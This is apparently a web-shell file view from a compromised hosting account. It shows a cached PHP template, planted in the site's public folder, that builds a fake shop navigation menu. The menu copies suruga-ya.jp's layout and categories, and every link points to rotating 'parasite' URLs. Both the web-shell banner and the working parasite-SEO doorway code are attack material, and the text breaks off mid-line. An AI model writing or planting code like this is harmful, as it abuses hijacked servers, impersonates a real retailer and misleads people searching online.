HEX
Server: LiteSpeed
System: Linux eticaretsrv4.isimtescil.net 3.10.0-962.3.2.lve1.5.26.7.el7.x86_64 #1 SMP Wed Oct 2 07:53:12 EDT 2019 x86_64
User: sioberen (1086)
PHP: 7.3.33
Disabled: NONE
Upload Files
File: /home/sioberen/public_html/cache/code_1b860461e37684845b6944155d543bbb.json
{"code":0,"data":{"files":[{"content":"\u003c?php\n/**\n * ===================================================================\n *               DYNAMIC SIDEBAR - CATEGORY NAVIGATION\n * ===================================================================\n * This module generates a multi-level sidebar navigation menu\n * based on the category tree prepared in `product.php`.\n * Maintains original structure but with internal links only.\n *\n * @var array $data The associative array containing all page details,\n *                   including 'category_tree'.\n * ===================================================================\n */\n\n// Removed local random product functions. This component now relies on\n// the pre-generated `$data['random_link']` and `$data['base_parasite_url']`\n// passed from the controller (`product.php`).\n\nfunction render_category_node(array $node, array \u0026$links_array, array $data, $level = 0) {\n    if (empty($node)) {\n        return;\n    }\n\n    echo '\u003cul class=\"sidebar-category-list level-' . $level . '\"' . ($level \u003e 0 ? ' style=\"display:none;\"' : '') . '\u003e';\n    foreach ($node as $name =\u003e $item) {\n        if (empty($name)) continue;\n        $has_children = !empty($item['children']);\n        \n        // Use the cycling link dispenser to get a guaranteed random link.\n        $link = get_next_random_link($data);\n\n        echo '\u003cli\u003e';\n        echo '\u003ca href=\"' . htmlspecialchars($link) . '\"\u003e' . htmlspecialchars($name) . '\u003c/a\u003e';\n        \n        if ($has_children) {\n            echo '\u003cspan class=\"toggle-arrow ' . ($level \u003e 0 ? '' : 'top-level') . '\"\u003e\u0026gt;\u003c/span\u003e';\n            render_category_node($item['children'], $links_array, $data, $level + 1);\n        }\n        echo '\u003c/li\u003e';\n    }\n    echo '\u003c/ul\u003e';\n}\n\n// This is our new \"link dispenser\". It cycles through the link pool\n// ensuring we never run out of unique, random links.\n$sidebar_link_index = 0;\nif (!function_exists('get_next_random_link')) {\n    function get_next_random_link(array \u0026$data) {\n        global $sidebar_link_index;\n        \n        // Fallback in case the pool is unexpectedly empty.\n        if (empty($data['sidebar_links'])) {\n            return $data['base_parasite_url'] . '/';\n        }\n        \n        // Get the next link from the pool.\n        $link = $data['sidebar_links'][$sidebar_link_index];\n        \n        // Increment the index and loop back to the start if we reach the end.\n        $sidebar_link_index = ($sidebar_link_index + 1) % count($data['sidebar_links']);\n        \n        // 确保返回完整的URL格式\n        if (strpos($link, 'http') !== 0) {\n            // 如果不是完整URL,添加基础URL\n            $link = $data['base_parasite_url'] . $link;\n        }\n        \n        return $link;\n    }\n}\n\n// Make a mutable copy of the links for the sidebar to consume.\n$sidebar_links_copy = $data['sidebar_links'];\n?\u003e\n\n\u003cdiv class=\"sidebar_suru\"\u003e\n    \u003cdiv class=\"sidebar_suru_inner\"\u003e\n        \u003c!-- Static Links --\u003e\n        \u003cul class=\"sidebar-category-list level-0\"\u003e\n            \u003cli\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003ecampaign\u003c/a\u003e\u003c/li\u003e\n            \u003cli\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eNew Arrivals\u003c/a\u003e\u003c/li\u003e\n            \u003cli\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003ereservation\u003c/a\u003e\u003c/li\u003e\n            \u003cli\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eFeatured\u003c/a\u003e\u003c/li\u003e\n            \u003cli\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eWant to sell\u003c/a\u003e\u003c/li\u003e\n        \u003c/ul\u003e\n        \u003chr class=\"sidebar-divider\"\u003e\n        \u003c!-- Dynamic Category Tree --\u003e\n        \u003c?php\n        if (!empty($data['category_tree'])) {\n            render_category_node($data['category_tree'], $sidebar_links_copy, $data);\n        }\n        ?\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\n\u003cstyle\u003e\n/* Basic Sidebar Styling */\n.sidebar_suru { float: left; width: 240px; margin-right: 20px; }\n.sidebar_suru_inner { padding: 10px; border: 1px solid #ddd; }\n.sidebar-divider { border-top: 1px solid #eee; margin: 10px 0; }\n.sidebar-category-list { list-style: none; padding-left: 0; }\n.sidebar-category-list.level-0 \u003e li { border-bottom: 1px solid #f0f0f0; }\n.sidebar-category-list ul { padding-left: 15px; }\n.sidebar-category-list li { padding: 8px 5px; position: relative; }\n.sidebar-category-list a { text-decoration: none; color: #333; display: block; }\n.sidebar-category-list .toggle-arrow {\n    position: absolute;\n    right: 10px;\n    top: 8px;\n    cursor: pointer;\n    font-size: 16px;\n    color: #999;\n}\n\u003c/style\u003e\n\n\u003cscript\u003e\ndocument.addEventListener('DOMContentLoaded', function() {\n    document.querySelectorAll('.sidebar_suru .toggle-arrow').forEach(arrow =\u003e {\n        arrow.addEventListener('click', function(e) {\n            e.preventDefault();\n            let sublist = this.nextElementSibling;\n            if (sublist \u0026\u0026 sublist.tagName === 'UL') {\n                // Toggle display\n                sublist.style.display = sublist.style.display === 'block' ? 'none' : 'block';\n                // Optional: Rotate arrow\n                this.style.transform = sublist.style.display === 'block' ? 'rotate(90deg)' : 'rotate(0deg)';\n            }\n        });\n    });\n});\n\u003c/script\u003e\n\n\u003cnav id=\"sidebar_menu\" class=\"sidebar_menu sidebar_right\"\u003e\n\u003cdiv class=\"sidebar-header\"\u003e\n    \u003cdiv class=\"list_sidebar_header logged\"\u003e\n        \u003cdiv class=\"item_sidebar_header d-flex align-items-center\"\u003e\n            \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/user_black.svg\" title=\"user\" alt=\"user icon\" height=\"24px\" class=\"padR12\"\u003e\n            \u003cdiv class=\"lineH18\"\u003e\n                \u003cspan class=\"text-login\"\u003e\u003ca class=\"account-login\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eSign in here\u003c/a\u003e\u003c/span\u003e\n                \u003cspan class=\"text-logout\" style=\"display: none !important\"\u003e\u003csmall\u003eHello\u003c/small\u003e\u003cbr\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" class=\"text-blue account-name\"\u003e\u003c/a\u003e\u003c/span\u003e\n            \u003c/div\u003e\n        \u003c/div\u003e\n        \u003cdiv class=\"item_sidebar_header d-flex align-items-center\"\u003e\n            \u003cdiv class=\"d-flex justify-content-start align-content-center\"\u003e\n                \u003cdiv class=\"sidebar_cart\"\u003e\n                    \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/cart_black.svg\" title=\"cart\" alt=\"cart icon\" height=\"24px\"\u003e\n                    \u003cspan class=\"lbl_cart cart-number\"\u003e0\u003c/span\u003e\n                \u003c/div\u003e\n                \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eCart is here\u003c/a\u003e\n            \u003c/div\u003e\n        \u003c/div\u003e\n        \u003cdiv class=\"item_sidebar_header d-flex align-items-center text-logout\" style=\"display: none !important\"\u003e\n            \u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/common/pc/logout.svg.webp\" title=\"user\" alt=\"user icon\" style=\"height: 24px;\" class=\"padR12\"\u003e\n            \u003ca class=\"logout-link black-link\"\u003e\u003c/a\u003e\n        \u003c/div\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\u003cdiv class=\"sidebar_scroll\" style=\"height: 744px;\"\u003e\n    \u003cdiv class=\"sidebar_wrap padT0 bottom_line\"\u003e\n        \u003cul class=\"list-unstyled components\"\u003e\n            \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CB','eventLabel':this.href});\"\u003ecampaign\u003c/a\u003e \u003c/li\u003e\n            \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CB','eventLabel':this.href});\"\u003eNew Arrivals\u003c/a\u003e \u003c/li\u003e\n            \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CB','eventLabel':this.href});\"\u003ereservation\u003c/a\u003e \u003c/li\u003e\n            \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CB','eventLabel':this.href});\"\u003eFeatured\u003c/a\u003e \u003c/li\u003e\n            \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CB','eventLabel':this.href});\"\u003eWant to sell\u003c/a\u003e \u003c/li\u003e\n        \u003c/ul\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"sidebar_wrap padT0\"\u003e\n        \u003cul class=\"list-unstyled components\"\u003e\n\u003cli class=\"has-sub\"\u003e\n    \u003cdiv class=\"grid-submenu\"\u003e\n        \u003cspan data-target=\"#homeSubmenu1\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n        \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eVideo software\u003c/a\u003e\n    \u003c/div\u003e\n    \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu1\" data-parent=\".sidebar_menu\"\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eanime\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003emovie\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eTV Drama\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003emusic\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eSpecial Effects\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eothers\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003estage\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eSports\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eComedy\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eHobbies and Culture\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003egravure\u003c/a\u003e \u003c/li\u003e\n    \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli class=\"has-sub\"\u003e\n    \u003cdiv class=\"grid-submenu\"\u003e\n        \u003cspan data-target=\"#homeSubmenu2\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n        \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eMusic software\u003c/a\u003e\n    \u003c/div\u003e\n    \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu2\" data-parent=\".sidebar_menu\"\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eJapanese Music\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eWestern Music\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eClassic\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eAnime and Games\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eSoundtrack\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eTheatre/Musical\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ejazz\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eothers\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eAsia\u003c/a\u003e \u003c/li\u003e\n    \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli class=\"has-sub\"\u003e\n    \u003cdiv class=\"grid-submenu\"\u003e\n        \u003cspan data-target=\"#homeSubmenu3\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n        \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eToys \u0026amp; Hobbies\u003c/a\u003e\n    \u003c/div\u003e\n    \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu3\" data-parent=\".sidebar_menu\"\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eToys\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003estuffed toy\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eDoll\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003epuzzle\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eMinicar\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eBoard games\u003c/a\u003e \u003c/li\u003e\n\n        \u003chr\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eHobby\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eFigures\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ePlastic Models\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eTrading Card Box Pack\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eTrading Cards Single Cards\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eRadio Control\u003c/a\u003e \u003c/li\u003e\n    \u003c/ul\u003e\n\u003c/li\u003e\n\n\u003cli class=\"has-sub\"\u003e\n    \u003cdiv class=\"grid-submenu\"\u003e\n        \u003cspan data-target=\"#homeSubmenu4\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n        \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eGoods and Fashion\u003c/a\u003e\n    \u003c/div\u003e\n    \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu4\" data-parent=\".sidebar_menu\"\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eclothing\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eaccessories\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eSmall items\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003estationery\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eSeals and stickers\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eStraps and Keychains\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eBags and sacks\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eTowels and hand towels\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eCushions, sheets, pillowcases\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ecalendar\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ePoster\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eTapestry\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ePostcards and colored paper\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eTableware\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eHousehold goods\u003c/a\u003e \u003c/li\u003e\n    \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli class=\"has-sub\"\u003e\n    \u003cdiv class=\"grid-submenu\"\u003e\n        \u003cspan data-target=\"#homeSubmenu5\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n        \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003egame\u003c/a\u003e\n    \u003c/div\u003e\n    \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu5\" data-parent=\".sidebar_menu\"\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eVideo games\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eNintendo Switch\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ePlayStation 5\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ePortable Games\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eArcade Game Board\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eRetro games\u003c/a\u003e \u003c/li\u003e\n    \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli class=\"has-sub\"\u003e\n    \u003cdiv class=\"grid-submenu\"\u003e\n        \u003cspan data-target=\"#homeSubmenu6\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n        \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003ePC/Smartphone\u003c/a\u003e\n    \u003c/div\u003e\n    \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu6\" data-parent=\".sidebar_menu\"\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ePC/tablet unit\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ePeripherals\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal 